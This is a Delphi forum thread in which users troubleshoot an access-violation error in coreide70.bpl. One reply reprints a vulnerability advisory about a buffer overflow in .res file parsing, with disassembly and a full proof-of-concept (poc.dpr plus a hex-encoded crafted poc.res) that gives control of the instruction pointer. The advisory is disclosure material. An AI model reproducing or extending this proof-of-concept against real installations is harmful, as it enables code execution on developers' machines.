社区
非技术区
帖子详情
打开工程文件时提示“..in module 'coreide70.bpl'”的错误
h_sanjin
2012-08-03 09:05:25
Access violation at address 00509370 in module 'coreide70.bpl'.Read of address 00000008.
双击打开、右键打开都会提示,但如果先打开Delphi,再从Delphi中打开工程就不会有提示了
...全文
3506
7
打赏
收藏
打开工程文件时提示“..in module 'coreide70.bpl'”的错误
Access violation at address 00509370 in module 'coreide70.bpl'.Read of address 00000008. 双击打开、右键打开都会提示,但如果先打开Delphi,再从Delphi中打开工程就不会有提示了
复制链接
扫一扫
分享
转发到动态
举报
写回复
配置赞助广告
用AI写文章
7 条
回复
切换为时间正序
请发表友善的回复…
发表回复
打赏红包
黑迷
2015-01-10
打赏
举报
回复
DELPHI7缓冲区溢出漏洞 | WooYun-2014-47549 | WooYun.org http://www.wooyun.org/bugs/wooyun-2010-047549 详细说明:在处理.res文件时候,未检测相应结构大小,造成缓冲区溢出。 攻击者可以构造特定的.res文件,即可利用此漏洞执行任意想执行的程序。 漏洞文件coreide70.bpl 文件版本7.0.4.453 相关函数 0049495C 8B45 08 mov eax, dword ptr [ebp+8] ; 这里eax被淹没 [eax] 可控 0049495F 8B40 FC mov eax, dword ptr [eax-4] ; [eax-4]可控 eax 可控 ; 此时eax就是我们poc里面的41414141 设这个地址为ADD 00494962 B9 01000000 mov ecx, 1 00494967 8B18 mov ebx, dword ptr [eax] ; ebx=[ADD] ebx可控 00494969 FF53 0C call dword ptr [ebx+C] ; ebx可控 [[ADD]+c] 可控(eip可控) 可指向shellcode 0013F821 31 31 31 31 31 31 31 31 31 31 31 31 41 41 41 41 111111111111AAAA 0013F831 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 1111111111111111 0013F841 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 1111111111111111 0013F851 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 1111111111111111 0013F861 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 1111111111111111 delphi.png 漏洞证明:把这2个文件放在同一个文件夹下面。用delphi打开poc.dpr 既可以触发漏洞。 poc.dpr (把下面数据以文本形式保存,重命名为poc.dpr) code 区域{$R *.res} poc.dpr (把下面数据以16进制的形式保存,重命名为poc.res) code 区域0000000020000000FFFF0000FFFF000000000000000000000000000000000000E802000020000000FFFF0300FFFF010000000000101004080000000000000000280000002000000040000000010004000000000000020000000000000000000000000000000000000000000000008000008000000080800080000000800080008080000080808000C0C0C0000000FF0000FF000000FFFF00FF000000FF00FF00FFFF0000FFFFFF000B3111111111111000000000000000000BBB333333333110000000000000000008888B333333331000000000000000000033333333331100000000000000000000888888BBBBB10000000000000000000000333333333100044444000000000000008BBBB3B10004467676440000000000008BBBB331004767676676400000000000888BB3310226767667676400000000000BBBB3310277776762767400000000000BBBB3317777777222676640000000000888BB3177777772227676400000000000BBBB3318777222226766400000000000BBBB3318777222222666400000000000888BB31877772277222240000000000008BBB3318F777227222240000000000008BBB33187F7772222240000000000000888BB3172777222FB0400000000000000BBBB33172777222FB000000000000000888B331722777724BB00000000000000088BB310022222000BB0000000000000088BB3310000000000BB0000000000000088BB31000000000BBBB000000000000088BB331000000BBBBBBB7000000000000BBB333100000BBBBB0000B3333333333BBB3331000000BBBB0000BB3333333333BBB333000000BBBBB000BBB3333333BBBBBB330000000BBBBB008BBBBBBBBBBB88BBB300000000BBBBB88B8888888888888BB300000000BBBBB08888888888888888BB000000000BBB000000000000000000000000000000B0008001FFFF8001FFFF8001FFFFC003FFFFC003FFFFF00383FFF00E00FFF00C007FF008003FF808003FF800001FF800001FFC00001FFC00001FFC00001FFE00001FFE00003FFE00003FFF00003FFF00001FFF81838FFF80FFC7FFC0FC03FFC07E01FFE03E0F00003F0700003F0300003F8100003FC000003FC100003FE3FFFFFFF714000000C0010000FFFF0E004D00410049004E00490043004F004E0031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310041004100410041003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100000000000000001010040800000000000000000000010001002020100001000400E8020000010000 注意偏移4BDH的0041004100410041(UNICODE编码 就是41414141,AAAA) 41414141H是我们随意写的,但是这个地址很重要。攻击者精心设计这个地址和周边的数据,既可以执行想要的shellcode 修复方案:检测大小
Richardw
2014-09-04
打赏
举报
回复
我碰上这个问题了,郁闷...
sanoul
2014-03-18
打赏
举报
回复
源代码使用的控件和Delphi内置的控件版本不一致导致的,具体请参看编译日志。 例如:Unit StdActns was compiled with a different version of Dialogs.TCommonDialog 之类的错误,源代码是用Delphi5开发的,现在用Delphi7编译
wskcelwskamd
2013-04-01
打赏
举报
回复
遇到的情况和楼主完全一样,有没有哪位高人可以帮助解决一下?先行谢了
taixiao
2013-02-21
打赏
举报
回复
应该是bug吧 常遇到,重启一下又正常,有时候又偶尔出现...
hsfzxjy
2012-10-26
打赏
举报
回复
这是哪个控件的BPL啊。。
elviscastle
2012-10-25
打赏
举报
回复
我也遇到同样的问题了,但是不会解决。。
vcldb60.
bpl
rtl60.
bpl
vcl60.
bpl
vcldb60.
bpl
vclx60.
bpl
dbrtl60.
bpl
BDERTL60.
BPL
重装操作系统后如果没安装Delphi6,则Delphi6编译后的程序运行后有的可能会
提示
缺少
文件
:rtl60.
bpl
vcl60.
bpl
vcldb60.
bpl
dbrtl60.
bpl
BDERTL60.
BPL
vclx60.
bpl
.前面也有人上传过,不过他们的资源里没有vcldb60.
bpl
这个
文件
,我这是对他们的补充。
50多个
bpl
文件
包
解决个税软件报计算机丢失**.
bpl
错误
等故障 xmlrtl
70
.
bpl
XPFarmer.
bpl
xmlrtl60.
bpl
adortl
70
.
bpl
等等等
rtl60.
bpl
vcl60.
bpl
vclx60.
bpl
rtl60.
bpl
vcl60.
bpl
vclx60.
bpl
bpl
文件
库 缺失*60.
bpl
库
文件
的用户可下载
bpl
文件
库 缺失*60.
bpl
库
文件
的用户可下载 对某些数据库或进销存软件安装中
提示
缺失*60.
bpl
文件
找不到的情况,包含大多数
bpl
文件
,可以一次性安装后解决问题。
vcl
70
bpl
组件
vcl
70
bpl
组件 vcl
70
.
bpl
非技术区
828
社区成员
53,611
社区内容
发帖
与我相关
我的任务
非技术区
Delphi 非技术区
复制链接
扫一扫
分享
社区描述
Delphi 非技术区
社区管理员
加入社区
获取链接或二维码
近7日
近30日
至今
加载中
查看更多榜单
社区公告
暂无公告
试试用AI创作助手写篇文章吧
+ 用AI写文章